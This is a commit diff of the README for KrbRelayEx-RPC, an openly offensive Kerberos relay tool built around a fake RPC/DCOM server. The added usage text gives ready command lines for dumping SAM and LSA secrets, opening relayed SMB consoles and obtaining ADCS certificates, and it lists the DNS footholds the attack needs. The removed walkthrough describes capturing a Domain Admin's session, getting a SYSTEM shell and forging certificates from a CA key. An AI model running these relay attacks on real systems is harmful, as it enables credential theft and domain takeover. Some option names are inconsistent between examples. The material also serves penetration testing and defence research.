Skip to content

Commit b4bd6aa

Browse files
decoder-itdecoder-it
authored
Update README.md
1 parent bfa435f commit b4bd6aa

1 file changed

Lines changed: 44 additions & 58 deletions

File tree

‎README.md‎

Lines changed: 44 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
Kerberos Relay and Forwarder for (Fake) RPC/DCOM MiTM Server
88

99
---
10-
KrbRelayEx-RPC is a tool similar to my <a href=https://github.com/decoder-it/KrbRelayEx>KrbRelayEx</a> designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. <br>
10+
KrbRelayEx-RPC is a tool similar to my <a href=https://github.com/decoder-it/KrbRelayEx>KrbRelayEx</a> designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. <br><br>
1111
This version implements a fake RPC/DCOM server:<br>
1212
- Listens for authenticated ISystemActivator requests and extracts the AP-REQ tickets
1313
- Extracts dynamic port bindings from EPMAPPER/OXID resolutions
@@ -68,93 +68,79 @@ For a similar Python-based tool built on Impacket libraries, check out [krbjack]
6868
## Usage
6969

7070
```plaintext
71-
############# KrbRelayEx by @decoder_it ##############
72-
# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #
73-
# v1.0 2024 #
74-
# Github: https://github.com/decoder-it/KrbRelayEx #
75-
###############################################################
71+
Usage:
72+
KrbRelayEx.exe -spn <SPN> [OPTIONS] [ATTACK]
73+
74+
Description:
75+
KrbRelayEx-RPC is a tool designed for performing Man-in-the-Middle (MitM) attacks and relaying Kerberos AP-REQ tickets.
76+
It listens for incoming authenticated ISystemActivator requests, extracts dynamic port bindings from EPMAPPER/OXID resolutions,
77+
captures the AP-REQ for accessing SMB shares or HTTP ADCS (Active Directory Certificate Services endpoints), then dynamically
78+
and transparently forwards the victim's requests to the real destination host and port
79+
The tool can span several SMB consoles, and the relaying process is completely transparent to the end user, who will seamlessly access the desired RPC/DCOM appliaction
7680
7781
Usage:
7882
KrbRelayEx.exe -spn <SPN> [OPTIONS] [ATTACK]
7983
8084
SMB Attacks:
8185
-console Start an interactive SMB console
82-
-bgconsole Start an interactive SMB console in the background via sockets
86+
-bgconsole Start an interactive SMB console in background via sockets
8387
-list List available SMB shares on the target system
8488
-bgconsolestartport Specify the starting port for background SMB console sockets (default: 10000)
8589
-secrets Dump SAM & LSA secrets from the target system
8690
8791
HTTP Attacks:
88-
-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., `CertSrv`)
92+
-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., 'CertSrv')
8993
-adcs <TEMPLATE> Generate a certificate using the specified template
9094
9195
Options:
9296
-redirectserver <IP> Specify the IP address of the target server for the attack
9397
-ssl Use SSL transport for secure communication
94-
-spn <SPN> Set the Service Principal Name (SPN) for the target service
95-
-redirectports <PORTS> Comma-separated list of additional ports to forward (e.g., `3389,135,5985`)
96-
-smbport <PORT> Specify the SMB port to listen on (default: 445)
98+
-redirectports <PORTS> Provide a comma-separated list of additional ports to forward to the target (e.g., '3389,445,5985')
99+
-rpcport <PORT> Specify the RPC port to listen on (default: 135)
97100
98-
IMPORTANT: Ensure that you configure the entries in your hosts file to point to the actual target IP addresses!
99-
```
101+
Examples:
102+
Start an interactive SMB console:
103+
KrbRelay.exe -spn CIFS/target.domain.com -console -redirecthost <ip_target_host>
100104
105+
List SMB shares on a target:
106+
KrbRelay.exe -spn CIFS/target.domain.com -list
101107
102-
# Examples
103-
SMB Relay:
104-
==========
105-
The *user19* account is a member of the DnsAdmins group in the MYLAB.LOCAL domain. As a member he can modify the A record for SRV2-MYLAB and change the IP 192.168.212.11 which is our attacker machine.
106-
Thee *dnstool.py* script from from https://github.com/dirkjanm/krbrelayx can be used for this purpose:<br><br>
107-
<img width="827" alt="image" src="https://github.com/user-attachments/assets/d66e4b5d-e1c6-472c-8b40-8951d969df3a">
108-
<br><br>
109-
On the attacker machine, we launch the relay/forwarder tool. SMB consoles will be launched in the background, starting from port 10000, and we will forward all traffic for WinRM, RPC Mapper, and Remote Desktop:<br><br>
110-
<img width="818" alt="image" src="https://github.com/user-attachments/assets/93a31581-bd34-4d0a-8a4f-41d9bad95b2b">
111-
<br><br>
112-
A Domain Admin accesess the \\SRV2-MYLAB\c$ share without suspecting anything:
113-
<br><br>
114-
<img width="851" alt="image" src="https://github.com/user-attachments/assets/052199fc-c0ba-4505-9125-90b5b2763f16">
108+
Dump SAM & LSA secrets:
109+
KrbRelay.exe -spn CIFS/target.domain.com -secrets -redirecthost <ip_target_host>
115110
116-
<br><br>
117-
We intercept, relay, and forward the authenticated call to the SMB server:<br><br>
118-
<img width="814" alt="image" src="https://github.com/user-attachments/assets/8413f774-0bb4-4cbc-998e-3581b546717e">
119-
<br><br>
120-
Finally, we gain access to the share with privileged permissions:
121-
<br><br>
122-
![image](https://github.com/user-attachments/assets/f08aa61c-0657-40c1-924f-753aebb8872b)
111+
Start a background SMB console on port 10000 upon relay:
112+
KrbRelay.exe -spn CIFS/target.domain.com -bgconsole -redirecthost <ip_target_host>
123113
124-
<br><br>
125-
From here, we can:
114+
Generate a certificate using ADCS with a specific template:
115+
KrbRelay.exe -spn HTTP/target.domain.com -endpoint CertSrv -adcs UserTemplate-redirecthost <ip_target_host>
126116
127-
- Write to protected locations with Domain Admin privileges.
128-
- Create and start services that run under the LOCAL SYSTEM context.
129-
- And much more... 😉
117+
Relay attacks with SSL and port forwarding:
118+
KrbRelay.exe -spn HTTP/target.domain.com -ssl -redirectserver <ip_target_host> -redirectports 3389,5985,135,553,80
130119
131-
HTTP(s) ADCSRelay:
132-
==================
133-
In this case the Zone MYLAB.LOCAL has been configured with *Unsecure Updates*. Anonymous users with network access can modify DNS records!!<br><br>
134-
![image](https://github.com/user-attachments/assets/920947a6-aae3-47bd-83d7-91c1d05150f4)
120+
Notes:
121+
- KrbRelayEx intercepts and relays the first authentication attempt,
122+
then switches to forwarder mode for all subsequent incoming requests.
123+
You can press any time 'r' for restarting relay mode
135124
136-
<br><br>
125+
- This tool is particularly effective if you can manipulate DNS names. Examples include:
126+
- Being a member of the DNS Admins group.
127+
- Having zones where unsecured DNS updates are allowed in Active Directory domains.
128+
- Gaining control over HOSTS file entries on client computers.
137129
138-
We intercept, relay, and forward the authenticated call to the HTTP ADCS server:<br><br>
139-
<img width="965" alt="image" src="https://github.com/user-attachments/assets/1f859b23-1603-4eef-92b5-001b21e28624">
130+
- Background consoles are ideal for managing multiple SMB consoles
140131
141-
<br><br>
132+
** IMPORTANT: Ensure that you configure the entries in your hosts file to point to the actual target IP addresses!
142133
143-
Administrator accesses a share of the ADCS Web Enrollment server:<br><br>
144-
<img width="554" alt="image" src="https://github.com/user-attachments/assets/1d07c7bc-0394-488d-a26f-51c4c926f1fe">
145-
<br><br>
134+
```
146135

147-
Finally, we ge a client authentication certificate on behalf the Administrator:<br><br>
148-
<img width="922" alt="image" src="https://github.com/user-attachments/assets/4a5795dc-4061-483e-be98-81ab5b89ef8e">
149-
<br><br>
150-
<br><br>
151-
Or we could install a malicious service and get a shell running as SYSTEM
152-
<br><br>
153-
![image](https://github.com/user-attachments/assets/2bd5123e-9612-44eb-a397-2e10b330e53d)
154136

155-
<br><br>
156-
On an ADCS server this would allow the backup of the the CA's private/public key enabling the forging of certificates on behalf of any user.
137+
# Examples
138+
<img width="754" alt="image" src="https://github.com/user-attachments/assets/6f1852f3-2c12-4493-b73f-c673b70d552c" />
157139

140+
<br><br>
141+
<img width="590" alt="image" src="https://github.com/user-attachments/assets/f1570a67-c99c-4c1a-a75a-4d090e8a954f" />
142+
<br><br>Video:<br>
143+
https://youtu.be/fUqCL_NtVAo
158144
# Installation instructions
159145

160146
The tool has been build with .Net 8.0 Framework. The Dotnet Core runtime for Windows and GNU/Linux can be downloaded here:

0 commit comments

Comments
 (0)